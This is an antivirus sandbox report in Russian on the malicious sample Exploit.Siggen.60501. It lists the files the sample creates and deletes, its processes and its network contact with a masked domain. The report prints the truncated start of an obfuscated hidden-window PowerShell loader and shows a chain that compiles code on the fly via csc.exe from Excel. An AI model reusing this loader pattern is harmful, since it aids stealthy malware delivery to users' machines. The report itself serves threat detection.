Exploit.Siggen.60501

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function t7a4f4d {param($la7d998)$v46c381='gf9287f';$b9a47c='';for ($i=0; $i -lt $la7d998.length;$i+=2){$of42ed=[convert]::ToByte($la7d998.Substring($i,2),16);$b9a47c+=[ch...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\xo9f-x3l.0.cs
%TEMP%\resdc69.tmp
%TEMP%\cscdc48.tmp
%TEMP%\zx5zon8m.out
%TEMP%\zx5zon8m.cmdline
%TEMP%\zx5zon8m.0.cs
%TEMP%\m6xkyrjf.dll
%TEMP%\resae44.tmp
%TEMP%\cscae33.tmp
%TEMP%\m6xkyrjf.out
%TEMP%\m6xkyrjf.cmdline
%TEMP%\m6xkyrjf.0.cs
%TEMP%\uspoj2yd.dll
%TEMP%\resa309.tmp
%TEMP%\zx5zon8m.dll
%TEMP%\csca2f8.tmp
%TEMP%\uspoj2yd.cmdline
%TEMP%\uspoj2yd.0.cs
%TEMP%\xo9f-x3l.dll
%TEMP%\res951f.tmp
%TEMP%\ptlb4tvq.dll
%TEMP%\res94a2.tmp
%TEMP%\csc950e.tmp
%TEMP%\csc9491.tmp
%TEMP%\ptlb4tvq.out
%TEMP%\ptlb4tvq.cmdline
%TEMP%\ptlb4tvq.0.cs
%TEMP%\xo9f-x3l.out
%TEMP%\xo9f-x3l.cmdline
%TEMP%\uspoj2yd.out
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{6e791af2-7504-4ed0-8c27-568c9fe503ca}.tmp

Удаляет следующие файлы

%TEMP%\res94a2.tmp
%TEMP%\uspoj2yd.cmdline
%TEMP%\uspoj2yd.0.cs
%TEMP%\resae44.tmp
%TEMP%\cscae33.tmp
%TEMP%\m6xkyrjf.dll
%TEMP%\m6xkyrjf.out
%TEMP%\m6xkyrjf.pdb
%TEMP%\zx5zon8m.out
%TEMP%\m6xkyrjf.cmdline
%TEMP%\resdc69.tmp
%TEMP%\cscdc48.tmp
%TEMP%\zx5zon8m.cmdline
%TEMP%\zx5zon8m.0.cs
%TEMP%\zx5zon8m.pdb
%TEMP%\uspoj2yd.pdb
%TEMP%\m6xkyrjf.0.cs
%TEMP%\uspoj2yd.dll
%TEMP%\xo9f-x3l.dll
%TEMP%\csc9491.tmp
%TEMP%\res951f.tmp
%TEMP%\csc950e.tmp
%TEMP%\xo9f-x3l.cmdline
%TEMP%\xo9f-x3l.out
%TEMP%\xo9f-x3l.pdb
%TEMP%\xo9f-x3l.0.cs
%TEMP%\csca2f8.tmp
%TEMP%\ptlb4tvq.0.cs
%TEMP%\ptlb4tvq.out
%TEMP%\ptlb4tvq.pdb
%TEMP%\ptlb4tvq.cmdline
%TEMP%\ptlb4tvq.dll
%TEMP%\resa309.tmp
%TEMP%\uspoj2yd.out
%TEMP%\zx5zon8m.dll

Сетевая активность

TCP

'la###henchk.com':443

UDP

DNS ASK la###henchk.com

Другое

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function t7a4f4d {param($la7d998)$v46c381='gf9287f';$b9a47c='';for ($i=0; $i -lt $la7d998.length;$i+=2){$of42ed=[convert]::ToByte($la7d998.Substring($i,2),16);$b9a47c+=[ch...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xo9f-x3l.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ptlb4tvq.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES94A2.tmp" "%TEMP%\CSC9491.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES951F.tmp" "%TEMP%\CSC950E.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uspoj2yd.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA309.tmp" "%TEMP%\CSCA2F8.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\m6xkyrjf.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAE44.tmp" "%TEMP%\CSCAE33.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zx5zon8m.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDC69.tmp" "%TEMP%\CSCDC48.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xo9f-x3l.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ptlb4tvq.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES94A2.tmp" "%TEMP%\CSC9491.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES951F.tmp" "%TEMP%\CSC950E.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uspoj2yd.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA309.tmp" "%TEMP%\CSCA2F8.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\m6xkyrjf.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAE44.tmp" "%TEMP%\CSCAE33.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zx5zon8m.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDC69.tmp" "%TEMP%\CSCDC48.tmp"
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding